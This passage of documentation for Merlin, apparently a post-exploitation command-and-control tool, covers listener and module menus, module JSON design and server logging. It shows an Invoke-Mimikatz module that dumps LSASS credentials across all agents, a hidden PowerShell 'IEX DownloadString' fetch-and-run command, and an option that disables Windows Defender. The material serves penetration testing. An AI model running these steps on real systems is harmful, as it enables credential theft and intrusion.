    Merlin[listeners][Default]»
    [+] Default listener was successfully restarted
    Merlin[listeners][Default]»
```

set

The `set` command is used to set the value of a configurable option for the Listener you are currently interacting with. Use the `show` command to see a list of configurable options.

NOTE: Cycle through the available configurable options for the current Listener using the tab key after the `set` command.

```
Merlin[listeners][Default]» set Name AcmeHTTPS
Merlin[listeners][Default]»
[+] set Name to: AcmeHTTPS
Merlin[listeners][Default]» set Description Main listener for Acme hacks
Merlin[listeners][Default]»
[+] set Description to: Main listener for Acme hacks
Merlin[listeners][Default]»
Merlin[listeners][Default]» info
+-------------+--------------------------------------+
```

(continues on next page)

(continued from previous page)

```
|    NAME     |                VALUE                 |
+-------------+--------------------------------------+
| Port        | 443                                  |
+-------------+--------------------------------------+
| URLS        | /                                    |
+-------------+--------------------------------------+
| X509Key     |                                      |
+-------------+--------------------------------------+
| Description | Main listener for Acme hacks         |
+-------------+--------------------------------------+
| Name        | AcmeHTTPS                            |
+-------------+--------------------------------------+
| ID          | 2e3025e8-6e8e-4fe1-b69c-5d248e34068c |
+-------------+--------------------------------------+
| Interface   | 127.0.0.1                            |
+-------------+--------------------------------------+
| Protocol    | HTTPS                                |
+-------------+--------------------------------------+
| PSK         | merlin                               |
+-------------+--------------------------------------+
| X509Cert    |                                      |
+-------------+--------------------------------------+
| Status      | Running                              |
+-------------+--------------------------------------+
Merlin[listeners][Default]»
```

10.2.6 show

The `show` command is used to show a table of all configurable options.

```
Merlin[listeners][Default]» show
+-------------+--------------------------------------+
|    NAME     |                VALUE                 |
+-------------+--------------------------------------+
| PSK         | merlin                               |
+-------------+--------------------------------------+
| Name        | AcmeHTTPS                            |
+-------------+--------------------------------------+
| X509Cert    |                                      |
+-------------+--------------------------------------+
| X509Key     |                                      |
+-------------+--------------------------------------+
| Description | Main listener for Acme hacks         |
+-------------+--------------------------------------+
| ID          | 2e3025e8-6e8e-4fe1-b69c-5d248e34068c |
+-------------+--------------------------------------+
| Interface   | 127.0.0.1                            |
+-------------+--------------------------------------+
| Port        | 443                                  |
+-------------+--------------------------------------+
| Protocol    | HTTPS                                |
+-------------+--------------------------------------+
| URLS        | /                                    |
+-------------+--------------------------------------+
| Status      | Running                              |
```

(continues on next page)

(continued from previous page)

```
+-------------+--------------------------------------+
Merlin[listeners][Default]»
```

10.2.7 start

The `start` command is used to start the current Listener you are interacting with, indicated in the square brackets in the Merlin prompt.

```
Merlin[listeners][Default]» start

[-] Certificate was not found at:
Creating in-memory x.509 certificate used for this session only
Merlin[listeners][Default]»
[+] Restarted Default HTTPS listener on 127.0.0.1:443
Merlin[listeners][Default]»
```

10.2.8 status

The `status` command is used to quickly determine if the Listener's server you are currently interacting with is running or stopped.

```
Merlin[listeners][Default]» status
Merlin[listeners][Default]»
Running
Merlin[listeners][Default]»
```

10.2.9 stop

The `stop` command is used to stop the current Listener you are interacting with, indicated in the square brackets in the Merlin prompt.

```
Merlin[listeners][Default]» stop
Merlin[listeners][Default]»
[+] Default listener was stopped
Merlin[listeners][Default]»
```

10.2.10 wildcard

Any command that is not a Merlin command will be executed on host itself where the Merlin server is running. This is useful when you want simple information, such as your interface address, without having to open a new terminal.

```
Merlin[listeners][Default]» ip a show ens32

[i] Executing system command...

[+] 2: ens32: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP␣
↪group default qlen 1000
    link/ether 00:0c:29:z3:ff:91 brd ff:ff:ff:ff:ff:ff
    inet 192.168.211.221/24 brd 192.168.211.255 scope global dynamic noprefixroute␣
↪ens32
```

(continues on next page)

(continued from previous page)

```
       valid_lft 1227sec preferred_lft 1227sec
    inet6 fe80::a71d:1f6a:a0d1:7985/64 scope link noprefixroute
       valid_lft forever preferred_lft forever

Merlin[listeners][Default]»
```

10.3 Template

The Listener Template menu is accessed by issuing the `use` command followed by a valid listener type from the Listener Main menu. The `help` command is used to view available commands for the Listener menu. Tab completion can be used at any time to provide the user a list of commands that can be selected.

```
Merlin[listeners]» use https
Merlin[listeners][https]» help

      COMMAND |          DESCRIPTION             |      OPTIONS
    +---------+---------------------------------+--------------------+
      back    | Return to the listeners menu    |
      execute | Create and start the listener   |
              | (alias)                         |
      info    | Display all configurable        |
              | information about a listener    |
      main    | Return to the main menu         |
      run     | Create and start the listener   |
              | (alias)                         |
      set     | Set a configurable option       | set <option_name>
      show    | Display all configurable        |
              | information about a listener    |
      start   | Create and start the listener   |
      *       | Anything else will be execute   |
              | on the host operating system    |
    Listener Setup Help Menu
```

10.3.1 back

The `back` command is used to move one level back. In this case the command will return the user to the root Listener menu.

```
Merlin[listeners][https]» back
Merlin[listeners]»
```

10.3.2 execute

The `execute` command is used to create and start the Listener from the configured template options. This is an alias for the `start` command.

```
Merlin[listeners]» use https
Merlin[listeners][https]» execute

[!] Insecure publicly distributed Merlin x.509 testing certificate in use for https␣
↪server on 127.0.0.1:443
```

(continues on next page)

(continued from previous page)

```
Additional details: https://github.com/Ne0nd0g/merlin/wiki/TLS-Certificates

[+] Default listener was created with an ID of: f6826564-000a-4edf-94b2-b79ee7d892a5

[+] Started HTTPS listener on 127.0.0.1:443
Merlin[listeners][Default]»
```

10.3.3 info

The `info` command is used to display the Listener template configurable options and their current value.

```
Merlin[listeners]» use https
Merlin[listeners][https]» info
+-------------+------------------+
|    NAME     |      VALUE       |
+-------------+------------------+
| PSK         | merlin           |
+-------------+------------------+
| Interface   | 127.0.0.1        |
+-------------+------------------+
| Port        | 443              |
+-------------+------------------+
| URLS        | /                |
+-------------+------------------+
| X509Cert    |                  |
+-------------+------------------+
| X509Key     |                  |
+-------------+------------------+
| Name        | Default          |
+-------------+------------------+
| Description | Default listener |
+-------------+------------------+
| Protocol    | https            |
+-------------+------------------+
Merlin[listeners][https]»
```

10.3.4 main

The `main` command returns to the Main menu

```
Merlin[listeners][https]» main
Merlin»
```

10.3.5 run

The `run` command is used to create and start the Listener from the configured template options. This is an alias for the `start` command.

```
Merlin[listeners]» use https
Merlin[listeners][https]» run
```

(continues on next page)

(continued from previous page)

```
[!] Insecure publicly distributed Merlin x.509 testing certificate in use for https␣
↪server on 127.0.0.1:443
Additional details: https://github.com/Ne0nd0g/merlin/wiki/TLS-Certificates

[+] Default listener was created with an ID of: 632db67c-7045-462f-bf09-aea90272aed5
Merlin[listeners][Default]»
[+] Started HTTPS listener on 127.0.0.1:443
Merlin[listeners][Default]»
```

10.3.6 set

The `set` command is used to set the value of a configurable option for the Listener you are currently interacting with. Use the `show` command to see a list of configurable options.

NOTE: Cycle through the available configurable options for the current Listener using the tab key after the `set` command.

```
Merlin[listeners]» use https
Merlin[listeners][https]» set Name Merlin Demo Listener
[+] set Name to: Merlin Demo Listener
Merlin[listeners][https]»
```

10.3.7 show

The `show` command is used to display the Listener template configurable options and their current value.

```
Merlin[listeners][https]» show
+-------------+-----------------------------------------------------------------+
|    NAME     |                              VALUE                              |
+-------------+-----------------------------------------------------------------+
| URLS        | /                                                               |
+-------------+-----------------------------------------------------------------+
| X509Cert    | /home/joe/go/src/github.com/Ne0nd0g/merlin/data/x509/server.crt |
+-------------+-----------------------------------------------------------------+
| Protocol    | https                                                           |
+-------------+-----------------------------------------------------------------+
| Interface   | 127.0.0.1                                                       |
+-------------+-----------------------------------------------------------------+
| Port        | 443                                                             |
+-------------+-----------------------------------------------------------------+
| PSK         | merlin                                                          |
+-------------+-----------------------------------------------------------------+
| X509Key     | /home/joe/go/src/github.com/Ne0nd0g/merlin/data/x509/server.key |
+-------------+-----------------------------------------------------------------+
| Name        | Merlin Demo Listener                                            |
+-------------+-----------------------------------------------------------------+
| Description | Default listener                                                |
+-------------+-----------------------------------------------------------------+
Merlin[listeners][https]»
```

10.3.8 start

The `start` command is used to create and start the Listener from the configured template options.

```
Merlin[listeners]» use https
Merlin[listeners][https]» start

[+] Default listener was created with an ID of: 20b337ba-01d4-44eb-9ebd-cdebf156967e

[+] Started HTTPS listener on 127.0.0.1:443

[!] Insecure publicly distributed Merlin x.509 testing certificate in use for https␣
↪server on 127.0.0.1:443
Additional details: https://github.com/Ne0nd0g/merlin/wiki/TLS-Certificates
Merlin[listeners][Default]»
```

10.3.9 wildcard

Any command that is not a Merlin command will be executed on host itself where the Merlin server is running. This is useful when you want simple information, such as your interface address, without having to open a new terminal.

```
Merlin[listeners][https]» ip a show ens32

[i] Executing system command...

[+] 2: ens32: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP␣
↪group default qlen 1000
    link/ether 00:0c:29:z3:ff:91 brd ff:ff:ff:ff:ff:ff
    inet 192.168.211.221/24 brd 192.168.211.255 scope global dynamic noprefixroute␣
↪ens32
       valid_lft 1227sec preferred_lft 1227sec
    inet6 fe80::a71d:1f6a:a0d1:7985/64 scope link noprefixroute
       valid_lft forever preferred_lft forever

Merlin[listeners][https]»
```

CHAPTER 11

Modules Menu

The module menu context is used to interact with, and configure, a module. The Merlin prompt will include the word module along with the identifier for the selected module. Type `help` to see a list of available commands for the agent menu context.

```
Merlin» use module windows/x64/powershell/powersploit/Invoke-Mimikatz
Merlin[module][Invoke-Mimikatz]» help

  COMMAND |           DESCRIPTION            |           OPTIONS
+---------+--------------------------------+------------------------------+
  back    | Return to the main menu        |
  info    | Show information about a       |
          | module                         |
  main    | Return to the main menu        |
  reload  | Reloads the module to a fresh  |
          | clean state                    |
  run     | Run or execute the module      |
  set     | Set the value for one of the   | <option name> <option value>
          | module's options               |
  show    | Show information about a       | info, options
          | module or its options          |
```

11.1 back

The `back` command is used to leave the Module menu and return back to the *Main Menu*.

```
Merlin[module][Invoke-Mimikatz]» back
Merlin»
```

11.2 info

The `info` command command is used to print all of the information about a module to the screen. This information includes items such as module's name, authors, credits, description, notes, and configurable options. This is an alias for the `show info` command.

```
Merlin[module][Invoke-Mimikatz]» show info
Module:
        Invoke-Mimikatz
Platform:
        windows\x64\PowerShell
Authors:
        Russel Van Tuyl (@Ne0nd0g)
Credits:
        Joe Bialek (@JosephBialek)
        Benjamin Delpy (@gentilkiwi)
Description:
        This script leverages Mimikatz 2.0 and Invoke-ReflectivePEInjection to␣
↪reflectively load Mimikatz completely in memory. This allows you to do things such␣
↪as dump credentials without ever writing the mimikatz binary to disk. The script␣
↪has a ComputerName parameter which allows it to be executed against multiple␣
↪computers. This script should be able to dump credentials from any version of␣
↪Windows through Windows 8.1 that has PowerShell v2 or higher installed.

Agent: 00000000-0000-0000-0000-000000000000

Module options(Invoke-Mimikatz)

      NAME     |                VALUE                 | REQUIRED |          ␣
↪DESCRIPTION
+--------------+--------------------------------------+----------+--------------------
↪------------+
  Agent        | 00000000-0000-0000-0000-000000000000 | true     | Agent on which to␣
↪run module
               |                                      |          | Invoke-Mimikatz
  DumpCreds    | true                                 | false    | [Switch]Use␣
↪mimikatz to dump
               |                                      |          | credentials out of␣
↪LSASS.
  DumpCerts    |                                      | false    | [Switch]Use␣
↪mimikatz to export
               |                                      |          | all private␣
↪certificates
               |                                      |          | (even if they are␣
↪marked
               |                                      |          | non-exportable).
  Command      |                                      | false    | Supply mimikatz a␣
↪custom
               |                                      |          | command line. This␣
↪works
               |                                      |          | exactly the same␣
↪as running
               |                                      |          | the mimikatz␣
↪executable
               |                                      |          | like this: mimikatz
               |                                      |          | "privilege::debug␣
↪exit" as an
```

(continues on next page)

(continued from previous page)

```
               |                                      |          | example.
  ComputerName |                                      | false    | Optional, an array␣
↪of
               |                                      |          | computernames to␣
↪run the
               |                                      |          | script on.

Notes: This is part of the PowerSploit project https://github.com/PowerShellMafia/
↪PowerSploit
```

11.3 main

The `main` command is used to leave the Agent menu and return back to the *Main Menu*. It is an alias for the *back* command.

```
Merlin[module][Invoke-Mimikatz]» main
Merlin»
```

11.4 reload

The `reload` command is used to clear out all of a module's configurable options and return its settings to the default state.

```
Merlin[module][Invoke-Mimikatz]» reload
Merlin[module][Invoke-Mimikatz]»
```

11.5 run

The `run` command is used to execute the module on the agent configured for the module's [agent](#set-agent) value.

```
Merlin[module][Invoke-Mimikatz]» run
Merlin[module][Invoke-Mimikatz]» [-]Created job iReycchrck for agent ebf1b1d2-44d5-
↪4f85-86f5-cae112600870
[+]Results for job iReycchrck
[+]
  .#####.   mimikatz 2.1 (x64) built on Nov 10 2016 15:31:14
 .## ^ ##.  "A La Vie, A L'Amour"
 ## / \ ##  /* * *
 ## \ / ##   Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 '## v ##'   http://blog.gentilkiwi.com/mimikatz             (oe.eo)
  '#####'                                     with 20 modules * * */
<snip>
Merlin[module][Invoke-Mimikatz]»
```

11.6 set

The `set` command is used to set the value for one of the module's configurable options. This command is used by specifying the name of the option that should be set followed by a value. Tab completion is enabled and provides a list of all configurable options.

```
Merlin[module][Invoke-Mimikatz]» set DumpCerts true
[+]DumpCerts set to true
Merlin[module][Invoke-Mimikatz]»
```

11.6.1 set Agent

The *Agent option* for every module must be set in order for it have a target to execute on. By default, the module is configured with a blank value of `00000000-0000-0000-0000-000000000000`. To set an agent, provide the agent's ID (tab completion enabled).

```
Merlin[module][Invoke-Mimikatz]» set agent c1090dbc-f2f7-4d90-a241-86e0c0217786
[+]agent set to c1090dbc-f2f7-4d90-a241-86e0c0217786
Merlin[module][Invoke-Mimikatz]»
```

The special value `all` can be provided and instructs Merlin to execute the module on all agents. When this value is provided, the module's agent option is set to all F's like: `ffffffff-ffff-ffff-ffff-ffffffffffff`

```
Merlin[module][Invoke-Mimikatz]» set agent all
[+]agent set to ffffffff-ffff-ffff-ffff-ffffffffffff
Merlin[module][Invoke-Mimikatz]»
```

11.7 show

The `show` command is used to retrieve information about the module itself. This command uses additional options to specify what information should be retrieved.

Options:

- *info*
- *options*

11.7.1 info

The `info` sub-command for the `show` command is used to print all of the information about a module to the screen. This information includes items such as module's name, authors, credits, description, notes, and configurable options.

```
Merlin[module][Invoke-Mimikatz]» show info
Module:
        Invoke-Mimikatz
Platform:
        windows\x64\PowerShell
Authors:
        Russel Van Tuyl (@Ne0nd0g)
Credits:
        Joe Bialek (@JosephBialek)
```

(continues on next page)

(continued from previous page)

```
        Benjamin Delpy (@gentilkiwi)
Description:
        This script leverages Mimikatz 2.0 and Invoke-ReflectivePEInjection to␣
↪reflectively load Mimikatz completely in memory. This allows you to do things such␣
↪as dump credentials without ever writing the mimikatz binary to disk. The script␣
↪has a ComputerName parameter which allows it to be executed against multiple␣
↪computers. This script should be able to dump credentials from any version of␣
↪Windows through Windows 8.1 that has PowerShell v2 or higher installed.

Agent: 00000000-0000-0000-0000-000000000000

Module options(Invoke-Mimikatz)

      NAME     |                VALUE                 | REQUIRED |         ␣
↪DESCRIPTION
+--------------+--------------------------------------+----------+--------------------
↪------------+
  Agent        | 00000000-0000-0000-0000-000000000000 | true     | Agent on which to␣
↪run module
               |                                      |          | Invoke-Mimikatz
  DumpCreds    | true                                 | false    | [Switch]Use␣
↪mimikatz to dump
               |                                      |          | credentials out of␣
↪LSASS.
  DumpCerts    |                                      | false    | [Switch]Use␣
↪mimikatz to export
               |                                      |          | all private␣
↪certificates
               |                                      |          | (even if they are␣
↪marked
               |                                      |          | non-exportable).
  Command      |                                      | false    | Supply mimikatz a␣
↪custom
               |                                      |          | command line. This␣
↪works
               |                                      |          | exactly the same␣
↪as running
               |                                      |          | the mimikatz␣
↪executable
               |                                      |          | like this: mimikatz
               |                                      |          | "privilege::debug␣
↪exit" as an
               |                                      |          | example.
  ComputerName |                                      | false    | Optional, an array␣
↪of
               |                                      |          | computernames to␣
↪run the
               |                                      |          | script on.

Notes: This is part of the PowerSploit project https://github.com/PowerShellMafia/
↪PowerSploit
```

11.7.2 options

The `options` sub-command for the *show* command is used to print *only* the configurable options along with their current value.

```
Merlin[module][Invoke-Mimikatz]» show options

Agent: 00000000-0000-0000-0000-000000000000

Module options(Invoke-Mimikatz)

      NAME     |                VALUE                 | REQUIRED |          ␣
↪DESCRIPTION
+--------------+--------------------------------------+----------+---------------------
↪------------+
  Agent        | 00000000-0000-0000-0000-000000000000 | true     | Agent on which to␣
↪run module
               |                                      |          | Invoke-Mimikatz
  DumpCreds    | true                                 | false    | [Switch]Use␣
↪mimikatz to dump
               |                                      |          | credentials out of␣
↪LSASS.
  DumpCerts    |                                      | false    | [Switch]Use␣
↪mimikatz to export
               |                                      |          | all private␣
↪certificates
               |                                      |          | (even if they are␣
↪marked
               |                                      |          | non-exportable).
  Command      |                                      | false    | Supply mimikatz a␣
↪custom
               |                                      |          | command line. This␣
↪works
               |                                      |          | exactly the same␣
↪as running
               |                                      |          | the mimikatz␣
↪executable
               |                                      |          | like this: mimikatz
               |                                      |          | "privilege::debug␣
↪exit" as an
               |                                      |          | example.
  ComputerName |                                      | false    | Optional, an array␣
↪of
               |                                      |          | computernames to␣
↪run the
               |                                      |          | script on.
```

CHAPTER 12

TLS Certificates

WARNING: You should generate and use a TLS certificate signed by a trusted Certificate Authority

Versions later than `0.6.8.BETA` will automatically generate a new **UNTRUSTED** and **self-signed** certificate when the server is started if a TLS certificate and TLS key are not provided.

To facilitate ease of use, a TLS X.509 private and public certificate is distributed with Merlin for versions less than `0.6.8.BETA`. This allowed a user to start using Merlin right away. However, this key is widely distributed and is considered public knowledge. You should generate your own certificates and replace the default certificates that ship with Merlin. The default location for the certificates is the `data/x509` directory. The `openssl` command can be used from a Linux system to generate a key pair.

The following message is presented to alert the user that the distributed testing public key is in use:

```
Merlin» [!] Insecure publicly distributed Merlin x.509 testing certificate in
use for https server on 127.0.0.1:443
```

CHAPTER 13

Building Modules

Modules are used to perform a set of pre-defined actions or execute a program on an agent. The modules are described using JavaScript Object Notation (JSON). Modules will be stored in `platform/arch/language/type` directories. Every module *must* have the `base` object and *may* have additional objects. Examples of the module structures can be found in the `data/modules/templates` directory. All keys used when describing a module will be lowercase (i.e. name and NOT Name).

13.1 Base

The `base` module is required and is the lowest level of describing a module and its function.

Table 1: Module Base

Name	Type	Description	Example
type	string	`standard` or `extended`	“type”: “standard”
name	string	The name of the module	“name”: “MyModuleName”
author	array of strings	A list of the module’s authors	“author”: [“Russel Van Tuyl (@Ne0ndog)”]
credits	array of strings	A list of authors to credit original work leveraged in the module	“credits”: [“Joe Bialek (@JosephBialek)”, “Benjamin Delpy (@gentilkiwi)”]
path	array of strings	The file path to the module	“path”: [“C”, “windows”, “system32”]
platform	string	The target platform the module can run on	“platform”: “linux”
arch	string	The target architecture the module can run on	“arch”: “x64”
lang	string	The target language the module leverages	“lang”: “powershell” or “lang”: “bash”
privilege	bool	Does the module require elevated privileges?	“privilege”: true
notes	string	Miscellaneous notes about the module	“notes”: “This module doesn’t work well on Ubuntu 14.04”
remote	string	The remote path where the script associated with the module can be found	“remote”: “https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1”
local	array of strings	The local file system path where the script associated with the module can be found	“local”: [“data”, “src”, “PowerSploit”, “Exfiltration”, “Invoke-Mimikatz.ps1”]
options	array of objects	The configurable options for the module	“options”: [{“name”: “DumpCreds”, “value”: “true”, “required”: false, “description”:”[Switch]Use mimikatz to dump credentials out of LSASS.”}]
description	string	A description of the module and its function	“description”: “this script leverages Mimikatz 2.0 and Invoke-ReflectivePEInjection to reflectively load Mimikatz completely in memory.”
commands	array of strings	A list of the commands to be executed on the host when running the script	“commands”: [“powershell.exe”, “-nop”, “-w”, “0”, “\”IEX (New-Object Net.WebClient).DownloadString(‘https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1’);”,”Invoke-Mimikatz”, “{{DumpCreds.Flag}}”, “{{DumpCerts.Flag}}”, “{{Command}}”, “{{ComputerName}}”,”\””]

Full Example:

```
{
  "base": {
    "type": "standard",
    "name": "Invoke-Mimikatz",
    "author": ["Russel Van Tuyl (@Ne0nd0g)"],
    "credits": ["Joe Bialek (@JosephBialek)", "Benjamin Delpy (@gentilkiwi)"],
    "path": ["windows", "x64", "powershell", "powersploit", "Invoke-Mimikatz.json"],
    "platform": "windows",
    "arch": "x64",
    "lang": "PowerShell",
    "privilege": true,
    "notes": "This is part of the PowerSploit project https://github.com/
↪PowerShellMafia/PowerSploit",
    "remote": "https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/
↪Exfiltration/Invoke-Mimikatz.ps1",
    "local": ["data", "src", "PowerSploit", "Exfiltration", "Invoke-Mimikatz.ps1"],
    "options": [
      {"name": "DumpCreds", "value": "true", "required": false, "flag": "-DumpCreds",
↪"description":"[Switch]Use mimikatz to dump credentials out of LSASS."},
      {"name": "DumpCerts", "value": null, "required": false, "flag": "-DumpCerts",
↪"description":"[Switch]Use mimikatz to export all private certificates (even if␣
↪they are marked non-exportable)."},
      {"name": "Command", "value": null, "required": false, "flag": "-Command",
↪"description":"Supply mimikatz a custom command line. This works exactly the same␣
↪as running the mimikatz executable like this: mimikatz \"privilege::debug exit\" as␣
↪an example."},
      {"name": "ComputerName", "value": null, "required": false, "flag": "-
↪ComputerName", "description":"Optional, an array of computernames to run the script␣
↪on."}
    ],
    "description": "This script leverages Mimikatz 2.0 and Invoke-
↪ReflectivePEInjection to reflectively load Mimikatz completely in memory. This␣
↪allows you to do things such as dump credentials without ever writing the mimikatz␣
↪binary to disk. The script has a ComputerName parameter which allows it to be␣
↪executed against multiple computers. This script should be able to dump credentials␣
↪from any version of Windows through Windows 8.1 that has PowerShell v2 or higher␣
↪installed.",
    "commands": [
      "powershell.exe",
      "-nop",
      "-w 0",
      "\"IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.
↪com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1');",
      "Invoke-Mimikatz",
      "{{DumpCreds.Flag}}",
      "{{DumpCerts.Flag}}",
      "{{Command}}",
      "{{ComputerName}}",
      "\""
    ]
  },
  "powershell": {
    "disableav": true,
    "obfuscate": false,
    "base64": false
  }
```

(continues on next page)

(continued from previous page)

```
}
```

13.1.1 Type

Modules can be either `standard` or `extended`.

A **STANDARD** module does not leverage any Go packages or functions from the *pkg/modules* directory. Standard modules are best used to run a single command, or a series of commands, that leverage functionality and programs on the host where the agent is running. The `data/modules/linux/x64/bash/exec/bash.json` module is a standard module that takes a `Command` argument that is subsequently run in `bash -c {{Command}}`. This could be useful to abstract out command line arguments with easy to set options or to run a single command across all agents using `set Agent all` while in the module's prompt.

An **EXTENDED** module DOES leverage code from an associated package `pkg/modules`. The sRDI module at `data/modules/windows/x64/go/exec/sRDI.json` is an example of an extended module that uses exported functions from the srdi package at `pkg/modules/srdi/srdi.go`. This extended module reads in a Windows DLL and returns shellcode that will be executed on the agent. The extended function's code must be located in `pkg/modules/<function>`. The extended function's code must expose a `Parse()` function that returns an array of strings that contain commands for the agent to interpret. Extended function must be programmed into the `getExtendedCommand()` function in `modules.go` and point to the module's exported `Parse()` function.

13.1.2 Remote vs Local

When the module leverages a script, it can be accessed with *either* the `local` or `remote` values of the base module. The `local` specifies the file path on the server where the script can be found. Merlin *DOES NOT* ship with scripts. However, they should be copied to the `data/source` directory using something like Git. For example, you move into the `data/source` direct and do a `git clone https://github.com/PowerShellMafia/PowerSploit.git`. When the `local` source is used, the script is uploaded to the target from the server. When the `remote` source is used, the script is downloaded from that location to the target.

13.1.3 Options

The `options` uses a special data type that requires five parts.

```
{
    "options": [
        {"name": "host", "value": "google.com", "required": true, "flag": "",
↪"description": "The host to ping"},
        {"name": "count", "value": "3", "required": false, "flag": "-c", "description
↪": "Stop after sending count ECHO_REQUEST packets."},
        {"name": "help", "value": "true", "required": false, "flag": "-h",
↪"description": "Show help."}
    ]
}
```

Table 2: Module Base

Name	Type	Description	Example
name	string	The name of the option	"name": "ComputerName"
value	string	The configured value for the option	"value": "127.0.0.1"
required	bool	Is this option required?	"required": false
flag	string	The command line flag for the option	"flag": "-ComputerName"
description	string	A short description of the option	"description": "The target computer name to run the script on"

Name

This is the name of the option that can be set by a user. This value is used as a variable in the `commands` section of the module file. The name is case sensitive (`Name` != `name` != `NAME`). An example option object looks like:

```
{"name": "count", "value": "3", "required": false, "flag": "-c", "description": "Stop␣
↪after sending count ECHO_REQUEST packets."}
```

An example of setting the `count` option is:

```
Merlin[module][TEST]» set count 5
[+]count set to 5
Merlin[module][TEST]»
```

Using just the option's name within double curly braces will return both the flag and value. For example `{{count}}` would be parsed and replaced with `-c 3`. The `flag` and `value` properties can be accessed individually if needed with `{{count.Flag}}` and `{{count.Value}}`.

Value

This is the value that the options has been set to. The value can be directly accessed in the `commands` section by using `.Value` after option's name. This is ideal for positional arguments that do not have a flag or specify an application executable file name. An example option object that uses the `value` property is:

```
{"name": "host", "value": "google.com", "required": true, "flag": "", "description":
↪"The host to ping"}
```

For example `{{host.Value}}` would be parsed and replaced with just the value of the `host` option (`google.com`).

If an option's value is empty, it will not be ignored and not parsed.

Flag

The `flag` property is used to specify what the notation is for a specific argument when executing a command. The `name` property can be used in conjunction with the `flag` property when the flag is not descriptive enough to make sense. A command line flag could start with a variety of options like `-`, `--`, or `/`. An example option object that uses a `flag` property is:

```
{"name": "help", "value": "true", "required": false, "flag": "-h", "description":
↪"Show help."}
```

Some applications use a flag with no value after it. A common example of this `-h` to view an application's help information. A flag, WITHOUT its value can be accessed in the `commands` section with `.Flag`. For example `{{help.Flag}}` would be parsed and replaced with just `-h`. If you want to only use the flag, and not its value, then you must set its value to `true`. Using just the option's name within double curly braces will return both the flag and value. For example `{{help}}` would be parsed and replaced with `-h true`.

13.1.4 Commands

The `commands` section of the module is used to provide the commands that are going to be executed on the host. The array should consist of every command in its own list item. You do not need to account for spaces. This is automatically done when the command is executed on the host.

You specify the location of an *option* by using double curly brace and the option's *name*. This will be parsed and replaced with both the `value` and `flag` values from the option's list entry. The option's *flag* and *value* can be accessed individually. An example `command` section looks like:

```
{
    "options": [
        {"name": "host", "value": "google.com", "required": true, "flag": "",
↪"description": "The host to ping"},
        {"name": "count", "value": "3", "required": false, "flag": "-c", "description
↪": "Stop after sending count ECHO_REQUEST packets."},
        {"name": "help", "value": "", "required": false, "flag": "-h", "description":
↪"Show help."}
    ],
    "commands": [
      "/bin/ping",
      "{{count}}",
      "{{host.Value}}"
    ]
}
```

This would get parsed as `/bin/ping -c 3 google.com`

If an option's value is not set, it will be ignored. An example of accessing only an option's flag while ignoring everything else is:

```
{
    "options": [
        {"name": "host", "value": "", "required": false, "flag": "", "description":
↪"The host to ping"},
        {"name": "count", "value": "", "required": false, "flag": "-c", "description
↪": "Stop after sending count ECHO_REQUEST packets."},
        {"name": "help", "value": "true", "required": false, "flag": "-h",
↪"description": "Show help."}
    ],
    "commands": [
      "/bin/ping",
      "{{help.Flag}}"
      "{{count}}",
      "{{host.Value}}"
    ]
}
```

This would get parsed as `/bin/ping -h`

13.2 Powershell

The `powershell` module is used to provide additional configuration options that pertain to PowerShell commands. Support for this module type is currently lacking. At this time is being used as placeholder for future development.

Table 3: Module Base

Name	Type	Description	Example
disableav	bool	Should Windows Defender be disabled prior to running the command?	“disableav” : true
obfuscate	bool	Should the PowerShell command be obfuscated?	“obfuscate”: false
base64	bool	Should the command be Base64 encoded?	“base64”: true

CHAPTER 14

Blog Posts

This page is used to catalog blog posts about Merlin

14.1 Posts by Ne0nd0g

- Practical Approach to Detecting and Preventing Web Application Attacks over HTTP/2- A SANS Master's Degree Presentation
- Introducing Merlin—A cross-platform post-exploitation HTTP/2 Command & Control Tool
- Merlin Adds Support for the QUIC protocol
- Merlin JavaScript—All up in Your Browsers
- Merlin Adds Module Support
- Merlin v0.1.4 Released—Menus &Modules
- Merlin Adds DLL Agent & PowerShell Invoke-Merlin Script
- Merlin v0.6.0 Beta Released
- Merlin v0.7.0 Release & Roll-up
- Merlin Goes OPAQUE for Key Exchange
- Merlin v0.8.0 Released

14.2 External Posts

- Merlin for Red Teams
- Intro to Using GScript for Red Teams
- Merlin The (C2) Wizard!

- Command and Control Guide to Merlin
- C2 Agent Comparison

14.3 Appearances

- The Hacker Playbook 3: Practical Guide To Penetration Testing
- B Sides Knoxville 2018
- Black Hat Arsenal 2018
- HackTheBox - Rabbit by @ippsec
- HackTheBox - Bounty by @ippsec
- Merlin - Post Exploitation over HTTP / 2 (Part1) GERMAN - English
- Merlin - Post Exploitation over HTTP / 2 (Part 2) GERMAN - English
- An MS Office backdoor with Merlin GERMAN - (English) * MS-Office Backdoor with Merlin - YouTube Video

14.4 Tweets

- https://twitter.com/QW5kcmV3/status/1097633091932352513
- https://twitter.com/qw5kcmv3/status/1167070746235064321
- https://twitter.com/UnkL4b/status/1166478926450843648
- https://twitter.com/Dinosn/status/1158292492133052416

14.5 Misc.

- https://valhalla.nextron-systems.com/info/rule/HKTL_MerlinAgent

CHAPTER 15

Logging

15.1 Server

Merlin creates a log of server activities that are saved at `data/log/merlinServerLog.txt`. An example of the server log file:

```
[2017-12-17 03:25:31.601752218 +0000 UTC m=+0.001463384]Starting Merlin Server
[2017-12-17 03:25:31.609125184 +0000 UTC m=+0.008836420]Starting HTTP/2 Listener
[2017-12-17 03:25:31.609148289 +0000 UTC m=+0.008859410]Address: 0.0.0.0:443/
[2017-12-17 03:25:31.609156804 +0000 UTC m=+0.008867860]x.509 Certificate /opt/merlin/
↪data/x509/server.crt
[2017-12-17 03:25:31.609163552 +0000 UTC m=+0.008874620]x.509 Key /opt/merlin/data/
↪x509/server.key
[2017-12-17 03:26:07.101079056 +0000 UTC m=+35.500790466]Received new agent checkin␣
↪from 209342db-ce7c-49e8-883f-0ee4da7d266d
[2017-12-17 03:26:11.560452462 +0000 UTC m=+39.960164571]Received new agent checkin␣
↪from 6e5e8a3b-42fd-4129-8f02-be04b935d252
[2017-12-17 03:26:18.078416725 +0000 UTC m=+46.478128025]Received new agent checkin␣
